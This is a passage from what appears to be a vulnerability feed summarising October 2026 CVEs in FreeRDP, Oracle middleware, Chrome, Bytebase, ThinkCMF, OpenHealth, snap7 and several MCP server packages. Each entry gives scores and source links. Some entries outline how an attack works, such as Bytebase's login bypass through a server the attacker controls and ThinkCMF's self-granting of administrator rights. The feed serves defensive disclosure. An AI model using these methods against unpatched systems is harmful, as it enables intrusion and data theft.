FreeRDP before 3.32.0 fails to close prior serial handles in serial_process_irp_create, allowing a malicious RDP server to exhaust file descriptors. (Oct 14, 2026).
FreeRDP before 3.32.0 fails to close prior serial handles in serial_process_irp_create, allowing a malicious RDP server to exhaust file descriptors. Attackers can send repeated serial IRP_MJ_CREATE requests to accumulate descriptors and terminate the client at the CommReadFile FD_SETSIZE assertion.
CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110830).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110830&date=2026-10-25).
Sources:
NVD CVE-2026-110830: https://nvd.nist.gov/vuln/detail/CVE-2026-110830
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-mqxv-c882-m8w9
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110830&date=2026-10-25
FreeRDP before 3.32.0 fails to close prior serial handles in serial_process_irp_create, allowing a malicious RDP server to exhaust file descriptors. Attackers can send repeated serial IRP_MJ_CREATE requests to accumulate descriptors and terminate the client at the CommReadFile FD_SETSIZE assertion.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: REST WebServices).
https://kevwire.com/record/CVE-2026-91407
Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: REST WebServices). (Oct 20, 2026).
Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: REST WebServices).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91407).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91407&date=2026-10-25).
Sources:
NVD CVE-2026-91407: https://nvd.nist.gov/vuln/detail/CVE-2026-91407
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91407&date=2026-10-25
Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: REST WebServices).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In PDF Export SDK).
https://kevwire.com/record/CVE-2026-91406
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In PDF Export SDK). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In PDF Export SDK).   The supported version that is affected is 8.5.8. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91406).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91406&date=2026-10-25).
Sources:
NVD CVE-2026-91406: https://nvd.nist.gov/vuln/detail/CVE-2026-91406
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91406&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In PDF Export SDK).   The supported version that is affected is 8.5.8. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In PDF Export SDK).
https://kevwire.com/record/CVE-2026-91405
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In PDF Export SDK). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In PDF Export SDK).   The supported version that is affected is 8.5.8. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91405).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91405&date=2026-10-25).
Sources:
NVD CVE-2026-91405: https://nvd.nist.gov/vuln/detail/CVE-2026-91405
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91405&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In PDF Export SDK).   The supported version that is affected is 8.5.8. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nezha 1.0.0 before 2.3.15 contains a memory exhaustion vulnerability in the dashboard file manager WebSocket endpoint because fmStream never calls SetReadLimit, leaving message...
https://kevwire.com/record/CVE-2026-111384
Nezha 1.0.0 before 2.3.15 contains a memory exhaustion vulnerability in the dashboard file manager WebSocket endpoint because fmStream never calls SetReadLimit, leaving message... (Oct 16, 2026).
Nezha 1.0.0 before 2.3.15 contains a memory exhaustion vulnerability in the dashboard file manager WebSocket endpoint because fmStream never calls SetReadLimit, leaving message size unbounded. Authenticated users with file manager scopes can send one oversized binary message to /api/v1/ws/file/:id, triggering an OOM kill that drops all agent monitoring.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111384).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111384&date=2026-10-25).
Sources:
NVD CVE-2026-111384: https://nvd.nist.gov/vuln/detail/CVE-2026-111384
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111384&date=2026-10-25
Nezha 1.0.0 before 2.3.15 contains a memory exhaustion vulnerability in the dashboard file manager WebSocket endpoint because fmStream never calls SetReadLimit, leaving message size unbounded. Authenticated users with file manager scopes can send one oversized binary message to /api/v1/ws/file/:id, triggering an OOM kill that drops all agent monitoring.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ThinkCMF through 8.0.1 contains an incorrect authorization vulnerability in RestAdminBaseController that allows restricted backend administrators to call every admin REST API...
https://kevwire.com/record/CVE-2026-111352
ThinkCMF through 8.0.1 contains an incorrect authorization vulnerability in RestAdminBaseController that allows restricted backend administrators to call every admin REST API... (Oct 15, 2026).
ThinkCMF through 8.0.1 contains an incorrect authorization vulnerability in RestAdminBaseController that allows restricted backend administrators to call every admin REST API endpoint because Auth::check() fails open when no admin_api rule exists. Attackers with a valid admin-type API token can list member emails and mobile numbers, disable members, and call PUT admin/roles/{id}/authorize to grant themselves full administrator rights.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111352).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111352&date=2026-10-25).
Sources:
NVD CVE-2026-111352: https://nvd.nist.gov/vuln/detail/CVE-2026-111352
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111352&date=2026-10-25
ThinkCMF through 8.0.1 contains an incorrect authorization vulnerability in RestAdminBaseController that allows restricted backend administrators to call every admin REST API endpoint because Auth::check() fails open when no admin_api rule exists. Attackers with a valid admin-type API token can list member emails and mobile numbers, disable members, and call PUT admin/roles/{id}/authorize to grant themselves full administrator rights.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenHealth through 0.2.0 contains a missing authentication and authorization vulnerability in the /api/health-data/[id] GET, PATCH and DELETE handlers that query records by id...
https://kevwire.com/record/CVE-2026-111312
OpenHealth through 0.2.0 contains a missing authentication and authorization vulnerability in the /api/health-data/[id] GET, PATCH and DELETE handlers that query records by id... (Oct 15, 2026).
OpenHealth through 0.2.0 contains a missing authentication and authorization vulnerability in the /api/health-data/[id] GET, PATCH and DELETE handlers that query records by id without session or authorId checks. Unauthenticated attackers who know a HealthData record id can read another user's medical record data and file metadata, overwrite it with arbitrary JSON, or delete it.
CVSS 9.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111312).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111312&date=2026-10-25).
Sources:
NVD CVE-2026-111312: https://nvd.nist.gov/vuln/detail/CVE-2026-111312
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111312&date=2026-10-25
OpenHealth through 0.2.0 contains a missing authentication and authorization vulnerability in the /api/health-data/[id] GET, PATCH and DELETE handlers that query records by id without session or authorId checks. Unauthenticated attackers who know a HealthData record id can read another user's medical record data and file metadata, overwrite it with arbitrary JSON, or delete it.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### snap7 through 1.4.3 contains an out-of-bounds write vulnerability in TSnap7MicroClient::opReadArea() that allows malicious S7 peers to overflow client buffers via an unchecked...
https://kevwire.com/record/CVE-2026-111280
snap7 through 1.4.3 contains an out-of-bounds write vulnerability in TSnap7MicroClient::opReadArea() that allows malicious S7 peers to overflow client buffers via an unchecked... (Oct 15, 2026).
snap7 through 1.4.3 contains an out-of-bounds write vulnerability in TSnap7MicroClient::opReadArea() that allows malicious S7 peers to overflow client buffers via an unchecked DataLength field. Rogue or impersonated PLCs can return crafted ReadVar responses causing memcpy of up to 65535 bytes into caller buffers, crashing SCADA, HMI, or gateway processes and corrupting memory.
CVSS 8.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111280).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111280&date=2026-10-25).
Sources:
NVD CVE-2026-111280: https://nvd.nist.gov/vuln/detail/CVE-2026-111280
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111280&date=2026-10-25
snap7 through 1.4.3 contains an out-of-bounds write vulnerability in TSnap7MicroClient::opReadArea() that allows malicious S7 peers to overflow client buffers via an unchecked DataLength field. Rogue or impersonated PLCs can return crafted ReadVar responses causing memcpy of up to 65535 bytes into caller buffers, crashing SCADA, HMI, or gateway processes and corrupting memory.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP versions from 3.0.0 before 3.32.0 contain a null pointer dereference in the rdpsnd channel when a fragment sets CHANNEL_FLAG_LAST without CHANNEL_FLAG_FIRST.
https://kevwire.com/record/CVE-2026-110829
FreeRDP versions from 3.0.0 before 3.32.0 contain a null pointer dereference in the rdpsnd channel when a fragment sets CHANNEL_FLAG_LAST without CHANNEL_FLAG_FIRST. (Oct 14, 2026).
FreeRDP versions from 3.0.0 before 3.32.0 contain a null pointer dereference in the rdpsnd channel when a fragment sets CHANNEL_FLAG_LAST without CHANNEL_FLAG_FIRST. A malicious RDP server can send a malformed rdpsnd PDU on a fresh channel to crash the client and cause denial of service.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110829).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110829&date=2026-10-25).
Sources:
NVD CVE-2026-110829: https://nvd.nist.gov/vuln/detail/CVE-2026-110829
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-3mq5-xh88-9v62
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110829&date=2026-10-25
FreeRDP versions from 3.0.0 before 3.32.0 contain a null pointer dereference in the rdpsnd channel when a fragment sets CHANNEL_FLAG_LAST without CHANNEL_FLAG_FIRST. A malicious RDP server can send a malformed rdpsnd PDU on a fresh channel to crash the client and cause denial of service.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in WebAppInstalls in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113217
Use after free in WebAppInstalls in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Use after free in WebAppInstalls in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113217).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113217&date=2026-10-25).
Sources:
NVD CVE-2026-113217: https://nvd.nist.gov/vuln/detail/CVE-2026-113217
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113217&date=2026-10-25
Use after free in WebAppInstalls in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113210
Use after free in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113210).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113210&date=2026-10-25).
Sources:
NVD CVE-2026-113210: https://nvd.nist.gov/vuln/detail/CVE-2026-113210
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113210&date=2026-10-25
Use after free in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in SiteIsolation in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113207
Use after free in SiteIsolation in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Use after free in SiteIsolation in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113207).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113207&date=2026-10-25).
Sources:
NVD CVE-2026-113207: https://nvd.nist.gov/vuln/detail/CVE-2026-113207
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113207&date=2026-10-25
Use after free in SiteIsolation in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Bytebase 0.12.0 before 1.0.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to log in as any user.
https://kevwire.com/record/CVE-2022-51026
Bytebase 0.12.0 before 1.0.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to log in as any user. (Oct 22, 2026).
Bytebase 0.12.0 before 1.0.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to log in as any user. The flaw stems from trusting client-supplied GitLab provider configuration in the POST /api/auth/login/GITLAB_SELF_HOST endpoint. Attackers can set instanceUrl to a server they control that returns an active user with a chosen email. Bytebase then issues session tokens for that principal, letting attackers impersonate existing users including the Owner or create new members.
CVSS 9.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2022-51026).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-51026&date=2026-10-25).
Sources:
NVD CVE-2022-51026: https://nvd.nist.gov/vuln/detail/CVE-2022-51026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-51026&date=2026-10-25
Bytebase 0.12.0 before 1.0.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to log in as any user. The flaw stems from trusting client-supplied GitLab provider configuration in the POST /api/auth/login/GITLAB_SELF_HOST endpoint. Attackers can set instanceUrl to a server they control that returns an active user with a chosen email. Bytebase then issues session tokens for that principal, letting attackers impersonate existing users including the Owner or create new members.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Joomla Extension - phoca.cz - Authenticated stored cross-site scripting through HTML attribute injection in Phoca Gallery 4.5.0 - 6.1.5
https://kevwire.com/record/CVE-2026-102786
Joomla Extension - phoca.cz - Authenticated stored cross-site scripting through HTML attribute injection in Phoca Gallery 4.5.0 - 6.1.5 (Oct 23, 2026).
Joomla Extension - phoca.cz - Authenticated stored cross-site scripting through HTML attribute injection in Phoca Gallery 4.5.0 - 6.1.5
CVSS 8.6 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102786).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102786&date=2026-10-25).
Sources:
NVD CVE-2026-102786: https://nvd.nist.gov/vuln/detail/CVE-2026-102786
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102786&date=2026-10-25
Joomla Extension - phoca.cz - Authenticated stored cross-site scripting through HTML attribute injection in Phoca Gallery 4.5.0 - 6.1.5

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue in @justice8096/sagemath-mcp-server 1.0.1 allows a remote attacker to execute arbitrary code via the escapeShellString and sanitizeCode functions.
https://kevwire.com/record/CVE-2026-106763
An issue in @justice8096/sagemath-mcp-server 1.0.1 allows a remote attacker to execute arbitrary code via the escapeShellString and sanitizeCode functions. (Oct 23, 2026).
An issue in @justice8096/sagemath-mcp-server 1.0.1 allows a remote attacker to execute arbitrary code via the escapeShellString and sanitizeCode functions.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106763).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106763&date=2026-10-25).
Sources:
NVD CVE-2026-106763: https://nvd.nist.gov/vuln/detail/CVE-2026-106763
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106763&date=2026-10-25
An issue in @justice8096/sagemath-mcp-server 1.0.1 allows a remote attacker to execute arbitrary code via the escapeShellString and sanitizeCode functions.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue in @rog0x/mcp-git-tools 1.0.1 allows a remote attacker to execute arbitrary code via the resolveBaseBranch function.
https://kevwire.com/record/CVE-2026-106764
An issue in @rog0x/mcp-git-tools 1.0.1 allows a remote attacker to execute arbitrary code via the resolveBaseBranch function. (Oct 23, 2026).
An issue in @rog0x/mcp-git-tools 1.0.1 allows a remote attacker to execute arbitrary code via the resolveBaseBranch function.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106764).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106764&date=2026-10-25).
Sources:
NVD CVE-2026-106764: https://nvd.nist.gov/vuln/detail/CVE-2026-106764
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106764&date=2026-10-25
An issue in @rog0x/mcp-git-tools 1.0.1 allows a remote attacker to execute arbitrary code via the resolveBaseBranch function.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue in @rog0x/mcp-docker-tools 1.0.1 allows a remote attacker to execute arbitrary code via the handleImageList function.
https://kevwire.com/record/CVE-2026-106765
An issue in @rog0x/mcp-docker-tools 1.0.1 allows a remote attacker to execute arbitrary code via the handleImageList function. (Oct 23, 2026).
An issue in @rog0x/mcp-docker-tools 1.0.1 allows a remote attacker to execute arbitrary code via the handleImageList function.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106765).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106765&date=2026-10-25).
Sources:
NVD CVE-2026-106765: https://nvd.nist.gov/vuln/detail/CVE-2026-106765
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106765&date=2026-10-25
An issue in @rog0x/mcp-docker-tools 1.0.1 allows a remote attacker to execute arbitrary code via the handleImageList function.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Certificate Validation vulnerability in the WebSocket streaming client in agentjido req_llm allows an on-path attacker to read and modify OpenAI WebSocket sessions,...
https://kevwire.com/record/CVE-2026-107685
Improper Certificate Validation vulnerability in the WebSocket streaming client in agentjido req_llm allows an on-path attacker to read and modify OpenAI WebSocket sessions,... (Oct 23, 2026).
Improper Certificate Validation vulnerability in the WebSocket streaming client in agentjido req_llm allows an on-path attacker to read and modify OpenAI WebSocket sessions, including the authorization bearer token, via a TLS certificate the client does not trust. ReqLLM.Streaming.WebSocketSession.Client.start/3 in lib/req_llm/streaming/web_socket_session/client.ex starts WebSockex without TLS options, and WebSockex defaults to insecure: true, which connects with verify: :verify_none. The option allowlist also drops any caller-supplied cacerts or ssl_options, so an application cannot turn verification on.

